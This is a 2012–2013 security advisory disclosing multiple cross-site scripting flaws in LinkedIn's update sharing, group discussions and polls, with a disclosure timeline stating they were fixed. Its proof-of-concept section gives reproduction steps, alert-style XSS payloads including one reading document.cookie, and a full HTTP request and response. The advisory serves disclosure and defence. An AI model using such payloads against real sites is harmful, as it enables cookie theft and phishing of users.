Multiple Reflected Cross-Site Scripting vulnerabilities

Multiple Reflected Cross-Site Scripting vulnerabilities

=============================================
INTERNET SECURITY AUDITORS ALERT 2012-003
- Original release date: 16th December 2012
- Last revised:  26th September 2013
- Discovered by: Eduardo Garcia Melia
- Severity: 6.8/10 (CVSS Base Scored)
=============================================
 
I. VULNERABILITY
-------------------------
LinkedIn social network is affected by Multiple Reflected Cross-Site Scripting vulnerabilities. 
 
II. BACKGROUND
-------------------------
LinkedIn is a social networking service and website(http://www.linkedin.com/) operates the world's largest professional network on the Internet with more than 187 million members in over 200 countries and territories.
 
More Information: http://press.linkedin.com/about
 
III. DESCRIPTION
-------------------------
LinkedIn social network is affected by Multiple reflected Cross-Site Scripting vulnerabilities. An attacker can inject HTML or script code in the context of victim's browser, so can perform XSS attacks, and steal cookies of a targeted user. The affected resource is http://www.linkedin.com/home?trk=guest_home.
 
IV. PROOF OF CONCEPT
-------------------------
=============================
First XSS  -> Corrected
=============================
You can go to LinkedIn Home -> Shared an Update -> Attach Link. After attack link, you should edit this link, and put in the Title and Description field, the XSS injection, for example:

    + <h1>XSS TEST</h1>
    + <iframe src="javascript:alert(document.cookie);"></iframe>

Finally, you should pulse "Preview" button, and then show you the injection.

The vulnerability is in this code:

<div class="share-content" id="share-content" data-entity-id="932308905"
data-entity-url="http://www.URL.com"; data-has-photo="yes">
<h4 class="share-view-title" id="share-view-title">XSSINJECTION</h4>
<p id="share-view-meta" class="meta">
URLTITLE
</p>
<p class="share-summary">
<span class="share-view-summary" id="share-view-summary">XSSINJECTION</span>
<a href="#" id="share-edit-link">Edit</a>
<script id="control-a9f0c4dd-2797-4750-9243-add575e00c08-2"
type="linkedin/control" class="li-control">
           
        /* extlib: _toggleclass */
       
   
           
LI.Controls.addControl('control-a9f0c4dd-2797-4750-9243-add575e00c08-2',
'ToggleClass', {
                  classname: 'is-view-mode',
                  on: '#share-preview',
                  stopEvent: true
                });
          </script>
</p>
</div>

=============================
Second XSS 
=============================
You can go to LinkedIn Groups -> Groups you may like,  and find some open group, for example "Test Analyst / Test Lead / Test Manager Networking". After, you can start Discussion, and put on the fields "Test" and "test" value and pulse "share" button. When the discussion is shared, show you "Your post has been submitted for review. You can view it here.", if you go to "here" link, you can edit your post and put,for example, this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Example REQUEST:
    POST /groupItem HTTP/1.1
    Host: www.linkedin.com
    Origin: http://www.linkedin.com
    X-Requested-With: XMLHttpRequest
    Referer: http://www.linkedin.com/groups?displayMySubmitted=&gid=4041084&goback=%2Egmp_4041084
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
    Cookie: XXX

   
editPendingItem=&csrfToken=ajax:8141336854842107468&item=PMOD_43011393&gid=4041084&ajax=true&goback=.gmp_4041084&content=<IFRAME SRC=# onmouseover="alert('XSS')">&detail=test&

RESPONSE:
    HTTP/1.1 200 OK
    Server: Apache-Coyote/1.1
    Vary: Accept-Encoding
    Date: Mon, 04 Mar 2013 14:51:03 GMT
    X-FS-TXN-ID: 2adf39a79210
    X-FS-UUID: c84a30f8753fe812d0841ff4322b0000
    X-LI-UUID: yEow+HU/6BLQhB/0MisAAA==
    Age: 0
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 0
    Set-Cookie: XXX

    {"abbreviatedContent":"<IFRAME SRC=# onmouseover=\"alert('XSS')\">
...","editTimeLeftAsStr":"13 minutes left","statusCode":"0","updated":"true","editTimeLeftInSec":"791","item":"PMOD_43011393","origDetail":"test","isDetailAbbreviated":"false","origContent":"<IFRAME SRC=# onmouseover=\"alert('XSS')\">","isContentAbbreviated":"true","fullContent":"<IFRAME SRC=# onmouseover=\"alert('XSS')\">","abbreviatedDetail":"test"}

and then show you the injection.

=============================
Third XSS 
=============================
You can go to LinkedIn Groups -> Create a Group,  and create new group.
After, you can start Discussion, and put on the fields, for example,
this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Pulse "share" button and then show you the injection.

===============
Fourth XSS
===============   
You can go to LinkedIn Groups -> Create a Group,  and create new group.
After, you can create a Poll, and put on the fields, for example, this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Pulse "share" button and then show you the injection.
 
V. BUSINESS IMPACT
------------------------
This flaw can be used by a malicious user to send phishing to the linked in customers, abusing of the users trust on LinkedIn portal, tricking the user. This user canbe forward to a LinkedIn clone site to stolen credentials, to some malicious site hosting malware and more. 
 
VI. SYSTEMS AFFECTED
-------------------------
The vulnerability affects the LinkedIn network:
http://www.linkedin.com
https://touch.www.linkedin.com
 
VII. SOLUTION
-------------------------
Partially pending.
 
VIII. REFERENCES
-------------------------
http://www.linkedin.com
http://www.isecauditors.com
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)
 
IX. CREDITS
-------------------------
These vulnerabilities have been discovered by
Eduardo Garcia Melia (egarcia (at) isecauditors (dot) com).
 
X. REVISION HISTORY
-------------------------
December  17, 2012: Initial release.
January   20, 2013: Second revision.
March     10, 2013: Third revision.
September 26, 2013: Final release.
 
XI. DISCLOSURE TIMELINE
-------------------------
December  17, 2012: Vulnerability acquired by Eduardo Garcia Melia
                    Internet Security Auditors (www.isecauditors.com).
January   20, 2013: Second revision.
                    Sent to LinkedIn Security Team.
February   7, 2013: Response from Sec Team. Ask for resend.
February  19, 2013: Send updated.
February  26, 2013: Answer about it seems to be corrected. Possitively
checked.
March     10, 2013: Send updated with more XSS vulnerable resources.
July      11, 2013: All XSS issues have been resolved.
September 26, 2013: Sent to lists.
 
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. Internet
Security Auditors accepts no responsibility for any damage caused by the use or
misuse of this information.


XIV. FOLLOW US
-------------------------
You can follow Internet Security Auditors, news and security advisories at:
https://www.facebook.com/ISecAuditors
https://twitter.com/ISecAuditors
http://www.linkedin.com/company/internet-security-auditors
http://www.youtube.com/user/ISecAuditors